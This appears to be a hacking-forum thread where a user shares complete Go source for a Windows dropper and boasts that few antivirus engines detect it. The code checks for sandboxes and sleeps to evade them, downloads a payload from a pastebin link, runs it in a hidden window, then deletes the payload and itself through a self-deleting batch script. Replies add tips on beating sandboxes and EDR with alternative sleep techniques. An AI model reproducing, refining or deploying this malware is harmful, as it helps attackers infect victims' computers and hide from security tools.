Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Dropper Malware in GOLANG

HOPE YOU GUYS LIKE MY PROJECT

94% of antivirus engines don't detect it

but, Microsoft detected it and google detected it

It won't stay at 4/71 forever
https://www.virustotal.com/gui/file/ab9b.../detection




Code
package main

import (
    "io"
    "net/http"
    "os"
    "os/exec"
    "runtime"
    "syscall"
    "time"
)

func isSuspicious() bool {
    if runtime.NumCPU() < 2 {
        return true
    }
    if !createTemp() {
        return true
    }
    if !canAllocateMemory() {
        return true
    }
    return false
}

func createTemp() bool {
    testFile := "C:\\Users\\Public\\test_temp.txt"
    err := os.WriteFile(testFile, []byte("test"), 0644)
    if err != nil {
        return false
    }
    _, err = os.ReadFile(testFile)
    if err != nil {
        os.Remove(testFile)
        return false
    }
    os.Remove(testFile)
    return true
}

func canAllocateMemory() bool {
    testSlice := make([]byte, 100*1024*1024)
    if testSlice == nil {
        return false
    }
    for i := range testSlice {
        testSlice[i] = byte(i % 256)
    }
    testSlice = nil
    runtime.GC()
    return true
}

func evadeSandbox() {
    time.Sleep(2 * time.Minute)
}

func main() {
    if isSuspicious() {
        evadeSandbox()
    }

    dropperPath := "C:\\Users\\Public\\payload.bat"
    //
    // USE https://spaceb.in, AND REPLACE YOUR LINK ID TO YOUR PAYLOAD URL
    //
    payloadURL := "https://spaceb.in/LINK ID HERE/raw"

    err := downloadFile(payloadURL, dropperPath)
    if err != nil {
        return
    }

    cmd := exec.Command(dropperPath)
    cmd.SysProcAttr = &syscall.SysProcAttr{
        HideWindow: true,
    }
    err = cmd.Start()
    if err != nil {
        return
    }

    time.Sleep(2 * time.Second)

    selfPath, err := os.Executable()
    if err != nil {
        return
    }

    deletePath := "C:\\Users\\Public\\cleanup.bat"
    script := `@echo off
timeout /t 2 /nobreak >nul
del "` + dropperPath + `"
del "` + selfPath + `"
del "%~f0"
`

    if err := os.WriteFile(deletePath, []byte(script), 0666); err != nil {
        return
    }

    cmdDel := exec.Command(deletePath)
    cmdDel.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    cmdDel.Start()
}

func downloadFile(url, filepath string) error {
    client := &http.Client{
        Timeout: 30 * time.Second,
    }

    resp, err := client.Get(url)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return err
    }

    out, err := os.Create(filepath)
    if err != nil {
        return err
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    if err != nil {
        return err
    }

    return nil
}

Features:

Anti-Analysis Features:
CPU core count detection
Temporary file creation test
Memory allocation test

Payload Delivery:
HTTP download
File creation
30 second timeout

Execution:
Hidden window execution
Batch file execution

Self-Cleanup:
Dropper deletion
Payload deletion
Cleanup script creation
Self-deleting cleanup

Stealth:
Silent error handling
Hidden process windows
Automatic trace removal
Sandbox evasion sleep
Wtf

Spoiler (Click to View)

Overall that will get detected by the dumbest EDR ever as well
Жизнь это не те дни, что прошли, а те, что запомнились
(Aug 6, 2026 07:04 AM)Dotexe Wrote:  Wtf

Spoiler (Click to View)

Overall that will get detected by the dumbest EDR ever as well

Yeah, AV sandboxes tend to ignore sleep nowadays.
(Aug 6, 2026 07:48 AM)DramaKing Wrote:  Yeah, AV sandboxes tend to ignore sleep nowadays.

really!?


(Aug 6, 2026 07:04 AM)Dotexe Wrote:  Wtf

Spoiler (Click to View)

Overall that will get detected by the dumbest EDR ever as well

How improve it?


(Aug 6, 2026 07:04 AM)Dotexe Wrote:  Wtf

Spoiler (Click to View)

Overall that will get detected by the dumbest EDR ever as well

How improve it?
(Aug 6, 2026 10:59 AM)geoshot Wrote:  really!?



How improve it?



How improve it?

https://go.dev/doc/
Жизнь это не те дни, что прошли, а те, что запомнились
Use NtWaitForSingleObject or spin-lock sleep. You can realize a sleep by spin, google it.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by 1rhino2Oct 17, 2026 06:08 PM 28 3,049 Oct 17, 2026 06:08 PM
Last Post: rembrandt63
by freeman7777Sep 13, 2026 07:08 AM 1 76 Sep 13, 2026 07:08 AM
Last Post: freeman7777
by StormCane9Aug 1, 2026 09:57 PM 2 193 Aug 1, 2026 09:57 PM
Last Post: eddie_1600